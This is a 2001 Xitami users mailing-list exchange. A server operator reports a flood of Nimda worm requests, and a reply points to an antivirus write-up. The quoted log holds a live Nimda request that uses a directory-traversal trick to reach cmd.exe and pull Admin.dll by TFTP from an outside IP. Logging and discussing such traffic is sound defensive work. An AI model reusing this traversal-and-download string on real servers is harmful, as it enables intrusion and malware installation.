[Xitami] "GET /scripts/.......

[Al Church]

It's happening to us all. Microsoft loopholes in security are making 
everyone suffer...again. For more info about this round of worms you can 
check out:

http://www.symantec.com/avcenter/venc/data/w32.nimda.a@mm.html

Makes me proud to run a xitami server. :)

al

At 06:05 PM 9/18/01 -0400, you wrote:
>Today I'm getting many thousands of hits from hundreds of IP's on a
>single Win95 machine running only Xitami b5.  The log shows the
>following...
>
>216.254.74.234 - - [18/Sep/2001:15:50:57 -0500] "GET
>/scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-
>i%20216.254.74.234%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
>200 -1 "" ""
>
>Most are just 404's trying to find root.exe or cmd.exe but some are like
>the above.  Is it simply my turn this crap today?
>
>Michael
>
>--
>Xitami Users Mailing List -- For Xitami support
>To unsubscribe: http://lists.xitami.org/mailman/listinfo/xitami